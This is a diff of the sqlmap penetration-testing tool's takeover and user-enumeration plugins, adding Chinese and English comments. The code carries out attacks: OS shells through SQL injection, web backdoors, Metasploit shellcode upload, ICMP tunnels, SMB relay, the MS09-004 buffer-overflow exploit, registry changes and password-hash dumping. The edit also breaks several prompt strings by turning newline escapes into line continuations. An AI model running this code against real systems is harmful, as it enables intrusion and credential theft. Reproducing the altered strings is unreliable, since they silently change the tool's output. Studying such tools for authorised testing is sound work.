+        # 如果不使用Web后门，或者使用Web后门但URL存在，则执行命令
         if not web or (web and self.webBackdoorUrl is not None):
-            self.runCmd(conf.osCmd)
+            self.runCmd(conf.osCmd)  # 执行配置中的系统命令
 
+        # 如果不开启操作系统shell或pwn，并且没有清理需求，则进行清理
         if not conf.osShell and not conf.osPwn and not conf.cleanup:
-            self.cleanup(web=web)
+            self.cleanup(web=web)  # 清理环境
 
     def osShell(self):
+        """
+        Prompts for an interactive operating system shell.
+        提示进行交互式操作系统shell。
+        """
+        # 判断是否可以通过堆叠查询或直接连接执行shell
         if isStackingAvailable() or conf.direct:
-            web = False
+            web = False  # 如果支持堆叠查询或直接连接，则不使用Web后门
         elif not isStackingAvailable() and Backend.isDbms(DBMS.MYSQL):
             infoMsg = "going to use a web backdoor for command prompt"
             logger.info(infoMsg)
 
-            web = True
+            web = True  # 如果不支持堆叠查询且是MySQL数据库，则使用Web后门
         else:
             errMsg = "unable to prompt for an interactive operating "
             errMsg += "system shell via the back-end DBMS because "
             errMsg += "stacked queries SQL injection is not supported"
-            raise SqlmapNotVulnerableException(errMsg)
+            raise SqlmapNotVulnerableException(errMsg)  # 否则抛出异常，表示无法通过后端数据库获取交互式shell
 
-        self.getRemoteTempPath()
+        self.getRemoteTempPath()  # 获取远程临时路径
 
         try:
-            self.initEnv(web=web)
+            self.initEnv(web=web)  # 初始化环境
-        except SqlmapFilePathException:
+        except SqlmapFilePathException:  # 如果初始化环境出现文件路径异常
             if not web and not conf.direct:
                 infoMsg = "falling back to web backdoor method..."
                 logger.info(infoMsg)
 
-                web = True
+                web = True  # 回退到使用Web后门
-                kb.udfFail = True
+                kb.udfFail = True  # 设置UDF失败标记
 
-                self.initEnv(web=web)
+                self.initEnv(web=web)  # 重新初始化环境，使用Web后门
             else:
-                raise
+                raise  # 如果不能回退到Web后门，则抛出异常
 
+        # 如果不使用Web后门，或者使用Web后门但URL存在，则进入shell
         if not web or (web and self.webBackdoorUrl is not None):
-            self.shell()
+            self.shell()  # 进入shell
 
+        # 如果不开启操作系统pwn，并且没有清理需求，则进行清理
         if not conf.osPwn and not conf.cleanup:
-            self.cleanup(web=web)
+            self.cleanup(web=web)  # 清理环境
 
     def osPwn(self):
-        goUdf = False
+        """
-        fallbackToWeb = False
+        Attempts to gain an out-of-band session via Metasploit or ICMP.
-        setupSuccess = False
+        尝试通过Metasploit或ICMP获取带外会话。
+        """
+        goUdf = False  # 是否使用UDF执行
+        fallbackToWeb = False  # 是否回退到Web后门
+        setupSuccess = False  # 是否设置成功
 
-        self.checkDbmsOs()
+        self.checkDbmsOs()  # 检查数据库服务器操作系统
 
-        if Backend.isOs(OS.WINDOWS):
+        if Backend.isOs(OS.WINDOWS):  # 如果操作系统是Windows
             msg = "how do you want to establish the tunnel?"
-            msg += "\n[1] TCP: Metasploit Framework (default)"
+            msg += "\
-            msg += "\n[2] ICMP: icmpsh - ICMP tunneling"
+[1] TCP: Metasploit Framework (default)"
+            msg += "\
+[2] ICMP: icmpsh - ICMP tunneling"
 
             while True:
-                tunnel = readInput(msg, default='1')
+                tunnel = readInput(msg, default='1')  # 读取用户选择的隧道类型
 
                 if isDigit(tunnel) and int(tunnel) in (1, 2):
-                    tunnel = int(tunnel)
+                    tunnel = int(tunnel)  # 将用户输入转换为整数
                     break
 
                 else:
                     warnMsg = "invalid value, valid values are '1' and '2'"
-                    logger.warning(warnMsg)
+                    logger.warning(warnMsg)  # 如果输入无效，则给出警告
         else:
-            tunnel = 1
+            tunnel = 1  # 如果不是Windows系统，则默认使用TCP隧道
 
             debugMsg = "the tunnel can be established only via TCP when "
             debugMsg += "the back-end DBMS is not Windows"
             logger.debug(debugMsg)
 
-        if tunnel == 2:
+        if tunnel == 2:  # 如果选择ICMP隧道
-            isAdmin = runningAsAdmin()
+            isAdmin = runningAsAdmin()  # 判断是否以管理员身份运行
 
             if not isAdmin:
                 errMsg = "you need to run sqlmap as an administrator "
                 errMsg += "if you want to establish an out-of-band ICMP "
                 errMsg += "tunnel because icmpsh uses raw sockets to "
                 errMsg += "sniff and craft ICMP packets"
-                raise SqlmapMissingPrivileges(errMsg)
+                raise SqlmapMissingPrivileges(errMsg)  # 如果不是以管理员身份运行，则抛出异常，表示缺少权限
 
             try:
-                __import__("impacket")
+                __import__("impacket")  # 尝试导入impacket库
             except ImportError:
                 errMsg = "sqlmap requires 'python-impacket' third-party library "
                 errMsg += "in order to run icmpsh master. You can get it at "
                 errMsg += "https://github.com/SecureAuthCorp/impacket"
-                raise SqlmapMissingDependence(errMsg)
+                raise SqlmapMissingDependence(errMsg)  # 如果缺少impacket库，则抛出异常，表示缺少依赖
 
-            filename = "/proc/sys/net/ipv4/icmp_echo_ignore_all"
+            filename = "/proc/sys/net/ipv4/icmp_echo_ignore_all"  # ICMP回显忽略文件路径
 
             if os.path.exists(filename):
                 try:
                     with openFile(filename, "wb") as f:
-                        f.write("1")
+                        f.write("1")  # 禁用ICMP回显
                 except IOError as ex:
                     errMsg = "there has been a file opening/writing error "
                     errMsg += "for filename '%s' ('%s')" % (filename, getSafeExString(ex))
-                    raise SqlmapSystemException(errMsg)
+                    raise SqlmapSystemException(errMsg)  # 如果文件打开/写入错误，则抛出异常
             else:
                 errMsg = "you need to disable ICMP replies by your machine "
-                errMsg += "system-wide. For example run on Linux/Unix:\n"
+                errMsg += "system-wide. For example run on Linux/Unix:\
-                errMsg += "# sysctl -w net.ipv4.icmp_echo_ignore_all=1\n"
+"
+                errMsg += "# sysctl -w net.ipv4.icmp_echo_ignore_all=1\
+"
                 errMsg += "If you miss doing that, you will receive "
                 errMsg += "information from the database server and it "
                 errMsg += "is unlikely to receive commands sent from you"
-                logger.error(errMsg)
+                logger.error(errMsg)  # 如果文件不存在，给出错误提示
 
             if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
-                self.sysUdfs.pop("sys_bineval")
+                self.sysUdfs.pop("sys_bineval")  # 如果是MySQL或PostgreSQL，移除sys_bineval UDF
 
-        self.getRemoteTempPath()
+        self.getRemoteTempPath()  # 获取远程临时路径
 
+        # 判断是否可以通过堆叠查询或直接连接执行
         if isStackingAvailable() or conf.direct:
-            web = False
+            web = False  # 如果支持堆叠查询或直接连接，则不使用Web后门
 
-            self.initEnv(web=web)
+            self.initEnv(web=web)  # 初始化环境
 
-            if tunnel == 1:
+            if tunnel == 1:  # 如果选择TCP隧道
-                if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
+                if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):  # 如果是MySQL或PostgreSQL
                     msg = "how do you want to execute the Metasploit shellcode "
                     msg += "on the back-end database underlying operating system?"
-                    msg += "\n[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)"
+                    msg += "\
-                    msg += "\n[2] Via 'shellcodeexec' (file system way, preferred on 64-bit systems)"
+[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)"
+                    msg += "\
+[2] Via 'shellcodeexec' (file system way, preferred on 64-bit systems)"
 
                     while True:
-                        choice = readInput(msg, default='1')
+                        choice = readInput(msg, default='1')  # 读取用户选择的执行方式
 
                         if isDigit(choice) and int(choice) in (1, 2):
-                            choice = int(choice)
+                            choice = int(choice)  # 将用户输入转换为整数
                             break
 
                         else:
                             warnMsg = "invalid value, valid values are '1' and '2'"
-                            logger.warning(warnMsg)
+                            logger.warning(warnMsg)  # 如果输入无效，则给出警告
 
                     if choice == 1:
-                        goUdf = True
+                        goUdf = True  # 如果选择使用UDF，则设置标记
 
                 if goUdf:
-                    exitfunc = "thread"
+                    exitfunc = "thread"  # 如果使用UDF，则设置退出函数为线程
-                    setupSuccess = True
+                    setupSuccess = True  # 设置成功
                 else:
-                    exitfunc = "process"
+                    exitfunc = "process"  # 如果不使用UDF，则设置退出函数为进程
 
-                self.createMsfShellcode(exitfunc=exitfunc, format="raw", extra="BufferRegister=EAX", encode="x86/alpha_mixed")
+                self.createMsfShellcode(exitfunc=exitfunc, format="raw", extra="BufferRegister=EAX", encode="x86/alpha_mixed")  # 创建Metasploit shellcode
 
                 if not goUdf:
-                    setupSuccess = self.uploadShellcodeexec(web=web)
+                    setupSuccess = self.uploadShellcodeexec(web=web)  # 上传shellcodeexec程序
 
                     if setupSuccess is not True:
                         if Backend.isDbms(DBMS.MYSQL):
-                            fallbackToWeb = True
+                            fallbackToWeb = True  # 如果上传失败且是MySQL数据库，则回退到Web后门
                         else:
                             msg = "unable to mount the operating system takeover"
-                            raise SqlmapFilePathException(msg)
+                            raise SqlmapFilePathException(msg)  # 否则抛出异常，表示无法执行操作系统接管
 
                 if Backend.isOs(OS.WINDOWS) and Backend.isDbms(DBMS.MYSQL) and conf.privEsc:
                     debugMsg = "by default MySQL on Windows runs as SYSTEM "
                     debugMsg += "user, no need to privilege escalate"
-                    logger.debug(debugMsg)
+                    logger.debug(debugMsg)  # 如果是Windows上的MySQL，且开启了提权，给出调试信息
 
-            elif tunnel == 2:
+            elif tunnel == 2:  # 如果选择ICMP隧道
-                setupSuccess = self.uploadIcmpshSlave(web=web)
+                setupSuccess = self.uploadIcmpshSlave(web=web)  # 上传icmpsh slave程序
 
                 if setupSuccess is not True:
                     if Backend.isDbms(DBMS.MYSQL):
-                        fallbackToWeb = True
+                        fallbackToWeb = True  # 如果上传失败且是MySQL数据库，则回退到Web后门
                     else:
                         msg = "unable to mount the operating system takeover"
-                        raise SqlmapFilePathException(msg)
+                        raise SqlmapFilePathException(msg)  # 否则抛出异常，表示无法执行操作系统接管
 
+        # 如果设置不成功，且是MySQL数据库，且不是直接连接，且不支持堆叠查询或回退到Web后门，则使用Web后门
         if not setupSuccess and Backend.isDbms(DBMS.MYSQL) and not conf.direct and (not isStackingAvailable() or fallbackToWeb):
-            web = True
+            web = True  # 设置使用Web后门
 
             if fallbackToWeb:
                 infoMsg = "falling back to web backdoor to establish the tunnel"
@@ -240,242 +268,270 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry):
                 infoMsg = "going to use a web backdoor to establish the tunnel"
             logger.info(infoMsg)
 
-            self.initEnv(web=web, forceInit=fallbackToWeb)
+            self.initEnv(web=web, forceInit=fallbackToWeb)  # 初始化环境，强制初始化
 
             if self.webBackdoorUrl:
                 if not Backend.isOs(OS.WINDOWS) and conf.privEsc:
                     # Unset --priv-esc if the back-end DBMS underlying operating
                     # system is not Windows
-                    conf.privEsc = False
+                    conf.privEsc = False  # 如果不是Windows系统，且开启了提权，则关闭提权
 
                     warnMsg = "sqlmap does not implement any operating system "
                     warnMsg += "user privilege escalation technique when the "
                     warnMsg += "back-end DBMS underlying system is not Windows"
-                    logger.warning(warnMsg)
+                    logger.warning(warnMsg)  # 给出警告
 
                 if tunnel == 1:
-                    self.createMsfShellcode(exitfunc="process", format="raw", extra="BufferRegister=EAX", encode="x86/alpha_mixed")
+                    self.createMsfShellcode(exitfunc="process", format="raw", extra="BufferRegister=EAX", encode="x86/alpha_mixed")  # 创建Metasploit shellcode
-                    setupSuccess = self.uploadShellcodeexec(web=web)
+                    setupSuccess = self.uploadShellcodeexec(web=web)  # 上传shellcodeexec程序
 
                     if setupSuccess is not True:
                         msg = "unable to mount the operating system takeover"
-                        raise SqlmapFilePathException(msg)
+                        raise SqlmapFilePathException(msg)  # 如果上传失败，则抛出异常
 
                 elif tunnel == 2:
-                    setupSuccess = self.uploadIcmpshSlave(web=web)
+                    setupSuccess = self.uploadIcmpshSlave(web=web)  # 上传icmpsh slave程序
 
                     if setupSuccess is not True:
                         msg = "unable to mount the operating system takeover"
-                        raise SqlmapFilePathException(msg)
+                        raise SqlmapFilePathException(msg)  # 如果上传失败，则抛出异常
 
         if setupSuccess:
             if tunnel == 1:
-                self.pwn(goUdf)
+                self.pwn(goUdf)  # 如果是TCP隧道，则执行pwn
             elif tunnel == 2:
-                self.icmpPwn()
+                self.icmpPwn()  # 如果是ICMP隧道，则执行icmpPwn
         else:
             errMsg = "unable to prompt for an out-of-band session"
-            raise SqlmapNotVulnerableException(errMsg)
+            raise SqlmapNotVulnerableException(errMsg)  # 如果设置失败，则抛出异常
 
         if not conf.cleanup:
-            self.cleanup(web=web)
+            self.cleanup(web=web)  # 如果没有清理需求，则进行清理
 
     def osSmb(self):
-        self.checkDbmsOs()
+        """
+        Performs a SMB relay attack.
+        执行SMB中继攻击。
+        """
+        self.checkDbmsOs()  # 检查数据库服务器操作系统
 
         if not Backend.isOs(OS.WINDOWS):
             errMsg = "the back-end DBMS underlying operating system is "
             errMsg += "not Windows: it is not possible to perform the SMB "
             errMsg += "relay attack"
-            raise SqlmapUnsupportedDBMSException(errMsg)
+            raise SqlmapUnsupportedDBMSException(errMsg)  # 如果不是Windows系统，则抛出异常，表示不支持SMB中继攻击
 
         if not isStackingAvailable() and not conf.direct:
             if Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.MSSQL):
                 errMsg = "on this back-end DBMS it is only possible to "
                 errMsg += "perform the SMB relay attack if stacked "
                 errMsg += "queries are supported"
-                raise SqlmapUnsupportedDBMSException(errMsg)
+                raise SqlmapUnsupportedDBMSException(errMsg)  # 如果是PostgreSQL或MSSQL，且不支持堆叠查询，则抛出异常
 
             elif Backend.isDbms(DBMS.MYSQL):
                 debugMsg = "since stacked queries are not supported, "
                 debugMsg += "sqlmap is going to perform the SMB relay "
                 debugMsg += "attack via inference blind SQL injection"
-                logger.debug(debugMsg)
+                logger.debug(debugMsg)  # 如果是MySQL，且不支持堆叠查询，则使用盲注进行SMB中继攻击
 
-        printWarn = True
+        printWarn = True  # 是否打印警告
         warnMsg = "it is unlikely that this attack will be successful "
 
         if Backend.isDbms(DBMS.MYSQL):
             warnMsg += "because by default MySQL on Windows runs as "
             warnMsg += "Local System which is not a real user, it does "
             warnMsg += "not send the NTLM session hash when connecting to "
-            warnMsg += "a SMB service"
+            warnMsg += "a SMB service"  # 如果是MySQL，给出警告
 
         elif Backend.isDbms(DBMS.PGSQL):
             warnMsg += "because by default PostgreSQL on Windows runs "
             warnMsg += "as postgres user which is a real user of the "
-            warnMsg += "system, but not within the Administrators group"
+            warnMsg += "system, but not within the Administrators group"  # 如果是PostgreSQL，给出警告
 
         elif Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")):
             warnMsg += "because often Microsoft SQL Server %s " % Backend.getVersion()
             warnMsg += "runs as Network Service which is not a real user, "
             warnMsg += "it does not send the NTLM session hash when "
-            warnMsg += "connecting to a SMB service"
+            warnMsg += "connecting to a SMB service"  # 如果是MSSQL，给出警告
 
         else:
-            printWarn = False
+            printWarn = False  # 如果不是上述情况，则不打印警告
 
         if printWarn:
-            logger.warning(warnMsg)
+            logger.warning(warnMsg)  # 打印警告信息
 
-        self.smb()
+        self.smb()  # 执行SMB中继攻击
 
     def osBof(self):
+        """
+        Exploits a buffer overflow vulnerability in the 'sp_replwritetovarbin' stored procedure (MS09-004)
+        利用 'sp_replwritetovarbin' 存储过程中的缓冲区溢出漏洞 (MS09-004)
+        """
         if not isStackingAvailable() and not conf.direct:
-            return
+            return  # 如果不支持堆叠查询或不是直接连接，则返回
 
         if not Backend.isDbms(DBMS.MSSQL) or not Backend.isVersionWithin(("2000", "2005")):
             errMsg = "the back-end DBMS must be Microsoft SQL Server "
             errMsg += "2000 or 2005 to be able to exploit the heap-based "
             errMsg += "buffer overflow in the 'sp_replwritetovarbin' "
             errMsg += "stored procedure (MS09-004)"
-            raise SqlmapUnsupportedDBMSException(errMsg)
+            raise SqlmapUnsupportedDBMSException(errMsg)  # 如果不是MSSQL 2000或2005，则抛出异常，表示不支持此漏洞
 
         infoMsg = "going to exploit the Microsoft SQL Server %s " % Backend.getVersion()
         infoMsg += "'sp_replwritetovarbin' stored procedure heap-based "
         infoMsg += "buffer overflow (MS09-004)"
-        logger.info(infoMsg)
+        logger.info(infoMsg)  # 打印漏洞利用信息
 
         msg = "this technique is likely to DoS the DBMS process, are you "
-        msg += "sure that you want to carry with the exploit? [y/N] "
+        msg += "sure that you want to carry with the exploit? [y/N] "  # 提示是否继续
 
         if readInput(msg, default='N', boolean=True):
-            self.initEnv(mandatory=False, detailed=True)
+            self.initEnv(mandatory=False, detailed=True)  # 初始化环境，不强制，但详细
-            self.getRemoteTempPath()
+            self.getRemoteTempPath()  # 获取远程临时路径
-            self.createMsfShellcode(exitfunc="seh", format="raw", extra="-b 27", encode=True)
+            self.createMsfShellcode(exitfunc="seh", format="raw", extra="-b 27", encode=True)  # 创建Metasploit shellcode，使用SEH退出函数
-            self.bof()
+            self.bof()  # 执行缓冲区溢出攻击
 
     def uncPathRequest(self):
+        """
+        Initiates a UNC path request.
+        发起UNC路径请求。
+        """
         errMsg = "'uncPathRequest' method must be defined "
         errMsg += "into the specific DBMS plugin"
-        raise SqlmapUndefinedMethod(errMsg)
+        raise SqlmapUndefinedMethod(errMsg)  # 抛出异常，表示未在具体DBMS插件中定义此方法
 
     def _regInit(self):
+        """
+        Initializes registry operation.
+        初始化注册表操作
+        """
         if not isStackingAvailable() and not conf.direct:
-            return
+            return  # 如果不支持堆叠查询或不是直接连接，则返回
 
-        self.checkDbmsOs()
+        self.checkDbmsOs()  # 检查数据库服务器操作系统
 
         if not Backend.isOs(OS.WINDOWS):
             errMsg = "the back-end DBMS underlying operating system is "
             errMsg += "not Windows"
-            raise SqlmapUnsupportedDBMSException(errMsg)
+            raise SqlmapUnsupportedDBMSException(errMsg)  # 如果不是Windows系统，则抛出异常
 
-        self.initEnv()
+        self.initEnv()  # 初始化环境
-        self.getRemoteTempPath()
+        self.getRemoteTempPath()  # 获取远程临时路径
 
     def regRead(self):
-        self._regInit()
+        """
+        Reads a value from the Windows registry.
+        读取Windows注册表中的值
+        """
+        self._regInit()  # 初始化注册表操作
 
         if not conf.regKey:
             default = "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion"
             msg = "which registry key do you want to read? [%s] " % default
-            regKey = readInput(msg, default=default)
+            regKey = readInput(msg, default=default)  # 读取用户输入的注册表键，默认使用指定路径
         else:
-            regKey = conf.regKey
+            regKey = conf.regKey  # 如果配置中指定了注册表键，则使用配置
 
         if not conf.regVal:
             default = "ProductName"
             msg = "which registry key value do you want to read? [%s] " % default
-            regVal = readInput(msg, default=default)
+            regVal = readInput(msg, default=default)  # 读取用户输入的注册表值，默认使用ProductName
         else:
-            regVal = conf.regVal
+            regVal = conf.regVal  # 如果配置中指定了注册表值，则使用配置
 
         infoMsg = "reading Windows registry path '%s\\%s' " % (regKey, regVal)
-        logger.info(infoMsg)
+        logger.info(infoMsg)  # 打印读取注册表路径信息
 
-        return self.readRegKey(regKey, regVal, True)
+        return self.readRegKey(regKey, regVal, True)  # 读取注册表键值，并返回结果
 
     def regAdd(self):
-        self._regInit()
+        """
+        Adds a value to the Windows registry.
+        向Windows注册表添加值
+        """
+        self._regInit()  # 初始化注册表操作
 
-        errMsg = "missing mandatory option"
+        errMsg = "missing mandatory option"  # 缺少必要参数的错误信息
 
         if not conf.regKey:
             msg = "which registry key do you want to write? "
-            regKey = readInput(msg)
+            regKey = readInput(msg)  # 读取用户输入的注册表键
 
             if not regKey:
-                raise SqlmapMissingMandatoryOptionException(errMsg)
+                raise SqlmapMissingMandatoryOptionException(errMsg)  # 如果没有输入，则抛出缺少必要选项异常
         else:
-            regKey = conf.regKey
+            regKey = conf.regKey  # 如果配置中指定了注册表键，则使用配置
 
         if not conf.regVal:
             msg = "which registry key value do you want to write? "
-            regVal = readInput(msg)
+            regVal = readInput(msg)  # 读取用户输入的注册表值
 
             if not regVal:
-                raise SqlmapMissingMandatoryOptionException(errMsg)
+                raise SqlmapMissingMandatoryOptionException(errMsg)  # 如果没有输入，则抛出缺少必要选项异常
         else:
-            regVal = conf.regVal
+            regVal = conf.regVal  # 如果配置中指定了注册表值，则使用配置
 
         if not conf.regData:
             msg = "which registry key value data do you want to write? "
-            regData = readInput(msg)
+            regData = readInput(msg)  # 读取用户输入的注册表数据
 
             if not regData:
-                raise SqlmapMissingMandatoryOptionException(errMsg)
+                raise SqlmapMissingMandatoryOptionException(errMsg)  # 如果没有输入，则抛出缺少必要选项异常
         else:
-            regData = conf.regData
+            regData = conf.regData  # 如果配置中指定了注册表数据，则使用配置
 
         if not conf.regType:
             default = "REG_SZ"
             msg = "which registry key value data-type is it? "
             msg += "[%s] " % default
-            regType = readInput(msg, default=default)
+            regType = readInput(msg, default=default)  # 读取用户输入的注册表类型，默认使用REG_SZ
         else:
-            regType = conf.regType
+            regType = conf.regType  # 如果配置中指定了注册表类型，则使用配置
 
         infoMsg = "adding Windows registry path '%s\\%s' " % (regKey, regVal)
         infoMsg += "with data '%s'. " % regData
         infoMsg += "This will work only if the user running the database "
         infoMsg += "process has privileges to modify the Windows registry."
-        logger.info(infoMsg)
+        logger.info(infoMsg)  # 打印添加注册表信息
 
-        self.addRegKey(regKey, regVal, regType, regData)
+        self.addRegKey(regKey, regVal, regType, regData)  # 添加注册表键值
 
     def regDel(self):
-        self._regInit()
+        """
+        Deletes a value from the Windows registry.
+        删除Windows注册表中的值
+        """
+        self._regInit()  # 初始化注册表操作
 
-        errMsg = "missing mandatory option"
+        errMsg = "missing mandatory option"  # 缺少必要参数的错误信息
 
         if not conf.regKey:
             msg = "which registry key do you want to delete? "
-            regKey = readInput(msg)
+            regKey = readInput(msg)  # 读取用户输入的注册表键
 
             if not regKey:
-                raise SqlmapMissingMandatoryOptionException(errMsg)
+                raise SqlmapMissingMandatoryOptionException(errMsg)  # 如果没有输入，则抛出缺少必要选项异常
         else:
-            regKey = conf.regKey
+            regKey = conf.regKey  # 如果配置中指定了注册表键，则使用配置
 
         if not conf.regVal:
             msg = "which registry key value do you want to delete? "
-            regVal = readInput(msg)
+            regVal = readInput(msg)  # 读取用户输入的注册表值
 
             if not regVal:
-                raise SqlmapMissingMandatoryOptionException(errMsg)
+                raise SqlmapMissingMandatoryOptionException(errMsg)  # 如果没有输入，则抛出缺少必要选项异常
         else:
-            regVal = conf.regVal
+            regVal = conf.regVal  # 如果配置中指定了注册表值，则使用配置
 
         message = "are you sure that you want to delete the Windows "
         message += "registry path '%s\\%s? [y/N] " % (regKey, regVal)
 
         if not readInput(message, default='N', boolean=True):
-            return
+            return  # 如果用户选择不删除，则返回
 
         infoMsg = "deleting Windows registry path '%s\\%s'. " % (regKey, regVal)
         infoMsg += "This will work only if the user running the database "
         infoMsg += "process has privileges to modify the Windows registry."
-        logger.info(infoMsg)
+        logger.info(infoMsg)  # 打印删除注册表信息
 
-        self.delRegKey(regKey, regVal)
+        self.delRegKey(regKey, regVal)  # 删除注册表键值

src/sqlmap-master/plugins/generic/users.py

@@ -52,69 +52,100 @@ from thirdparty.six.moves import zip as _zip
 class Users(object):
     """
     This class defines users' enumeration functionalities for plugins.
+    这个类定义了插件的用户枚举功能。
     """
 
     def __init__(self):
-        kb.data.currentUser = ""
+        # 初始化用户相关的数据存储
-        kb.data.isDba = None
+        kb.data.currentUser = ""  # 当前用户
-        kb.data.cachedUsers = []
+        kb.data.isDba = None       # 是否是DBA
-        kb.data.cachedUsersPasswords = {}
+        kb.data.cachedUsers = []    # 缓存的用户列表
-        kb.data.cachedUsersPrivileges = {}
+        kb.data.cachedUsersPasswords = {} # 缓存的用户密码哈希
-        kb.data.cachedUsersRoles = {}
+        kb.data.cachedUsersPrivileges = {} # 缓存的用户权限
+        kb.data.cachedUsersRoles = {}      # 缓存的用户角色
 
     def getCurrentUser(self):
+        """
+        Retrieves the current database user.
+        获取当前数据库用户
+        """
         infoMsg = "fetching current user"
         logger.info(infoMsg)
 
+        # 获取当前用户的SQL查询语句
         query = queries[Backend.getIdentifiedDbms()].current_user.query
 
+        # 如果当前用户没有被获取过，则进行获取
         if not kb.data.currentUser:
             kb.data.currentUser = unArrayizeValue(inject.getValue(query))
 
         return kb.data.currentUser
 
     def isDba(self, user=None):
+        """
+        Tests if the current or specified user is a DBA.
+        测试当前或指定用户是否是DBA（数据库管理员）。
+
+        Args:
+            user (str, optional): 要测试的用户，默认为None，表示测试当前用户
+        
+        Returns:
+            bool: 是否是DBA
+        """
         infoMsg = "testing if current user is DBA"
         logger.info(infoMsg)
 
         query = None
 
+        # 根据不同的数据库类型，构造不同的SQL查询语句
         if Backend.isDbms(DBMS.MYSQL):
-            self.getCurrentUser()
+            self.getCurrentUser() # 先获取当前用户
             if Backend.isDbms(DBMS.MYSQL) and Backend.isFork(FORK.DRIZZLE):
-                kb.data.isDba = "root" in (kb.data.currentUser or "")
+                kb.data.isDba = "root" in (kb.data.currentUser or "") # Drizzle数据库，通过用户名判断是否为root用户
             elif kb.data.currentUser:
-                query = queries[Backend.getIdentifiedDbms()].is_dba.query % kb.data.currentUser.split("@")[0]
+                query = queries[Backend.getIdentifiedDbms()].is_dba.query % kb.data.currentUser.split("@")[0] # 构建查询语句，判断是否为MySQL的DBA
         elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and user is not None:
-            query = queries[Backend.getIdentifiedDbms()].is_dba.query2 % user
+            query = queries[Backend.getIdentifiedDbms()].is_dba.query2 % user # 构建查询语句，判断是否为SQL Server或Sybase的DBA
         else:
-            query = queries[Backend.getIdentifiedDbms()].is_dba.query
+            query = queries[Backend.getIdentifiedDbms()].is_dba.query  # 构建查询语句，判断是否为其他数据库的DBA
 
+        # 执行查询
         if query:
-            query = agent.forgeCaseStatement(query)
+            query = agent.forgeCaseStatement(query) # 注入时，构造Case语句
-            kb.data.isDba = inject.checkBooleanExpression(query) or False
+            kb.data.isDba = inject.checkBooleanExpression(query) or False # 执行查询，并判断是否为DBA
 
         return kb.data.isDba
 
     def getUsers(self):
+        """
+        Retrieves database users.
+        获取数据库用户。
+
+        Returns:
+           list: 用户列表
+        """
         infoMsg = "fetching database users"
         logger.info(infoMsg)
 
+        # 获取查询用户表的SQL查询语句
         rootQuery = queries[Backend.getIdentifiedDbms()].users
 
+        # 判断是否需要使用不同的查询语句
         condition = (Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")))
         condition |= (Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema)
 
+        # 优先使用union, error, query技术进行查询，否则使用盲注技术
         if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
             if Backend.isDbms(DBMS.MYSQL) and Backend.isFork(FORK.DRIZZLE):
-                query = rootQuery.inband.query3
+                query = rootQuery.inband.query3 # Drizzle数据库的查询语句
             elif condition:
-                query = rootQuery.inband.query2
+                query = rootQuery.inband.query2 # 条件判断下的查询语句
             else:
-                query = rootQuery.inband.query
+                query = rootQuery.inband.query  # 通用查询语句
 
-            values = inject.getValue(query, blind=False, time=False)
+            values = inject.getValue(query, blind=False, time=False) # 执行查询语句，获取用户列表
 
+            # 处理返回的用户列表
             if not isNoneValue(values):
                 kb.data.cachedUsers = []
                 for value in arrayizeValue(values):
@@ -122,18 +153,19 @@ class Users(object):
                     if not isNoneValue(value):
                         kb.data.cachedUsers.append(value)
 
+        # 如果没有使用union, error, query技术获取到用户，则使用盲注技术进行获取
         if not kb.data.cachedUsers and isInferenceAvailable() and not conf.direct:
             infoMsg = "fetching number of database users"
             logger.info(infoMsg)
 
             if Backend.isDbms(DBMS.MYSQL) and Backend.isFork(FORK.DRIZZLE):
-                query = rootQuery.blind.count3
+                query = rootQuery.blind.count3 # Drizzle数据库的查询语句
             elif condition:
-                query = rootQuery.blind.count2
+                query = rootQuery.blind.count2 # 条件判断下的查询语句
             else:
-                query = rootQuery.blind.count
+                query = rootQuery.blind.count  # 通用查询语句
 
-            count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
+            count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) # 获取用户数量
 
             if count == 0:
                 return kb.data.cachedUsers
@@ -142,8 +174,9 @@ class Users(object):
                 raise SqlmapNoneDataException(errMsg)
 
             plusOne = Backend.getIdentifiedDbms() in PLUS_ONE_DBMSES
-            indexRange = getLimitRange(count, plusOne=plusOne)
+            indexRange = getLimitRange(count, plusOne=plusOne) # 计算盲注的查询范围
 
+            # 循环盲注查询用户
             for index in indexRange:
                 if Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MAXDB):
                     query = rootQuery.blind.query % (kb.data.cachedUsers[-1] if kb.data.cachedUsers else " ")
@@ -166,8 +199,16 @@ class Users(object):
         return kb.data.cachedUsers
 
     def getPasswordHashes(self):
+        """
+        Retrieves password hashes of database users.
+        获取数据库用户的密码哈希值。
+
+        Returns:
+            dict: 用户名和密码哈希的字典
+        """
         infoMsg = "fetching database users password hashes"
 
+        # 获取查询密码哈希的SQL查询语句
         rootQuery = queries[Backend.getIdentifiedDbms()].passwords
 
         if conf.user == CURRENT_USER:
@@ -177,7 +218,7 @@ class Users(object):
         logger.info(infoMsg)
 
         if conf.user and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
-            conf.user = conf.user.upper()
+            conf.user = conf.user.upper() # Oracle和DB2数据库的用户名为大写
 
         if conf.user:
             users = conf.user.split(',')
@@ -187,28 +228,31 @@ class Users(object):
                     parsedUser = re.search(r"['\"]?(.*?)['\"]?\@", user)
 
                     if parsedUser:
-                        users[users.index(user)] = parsedUser.groups()[0]
+                        users[users.index(user)] = parsedUser.groups()[0] # 处理MySQL的用户名格式，去掉引号和@后面的部分
         else:
             users = []
 
         users = [_ for _ in users if _]
 
+        # 优先使用union, error, query技术进行查询，否则使用盲注技术
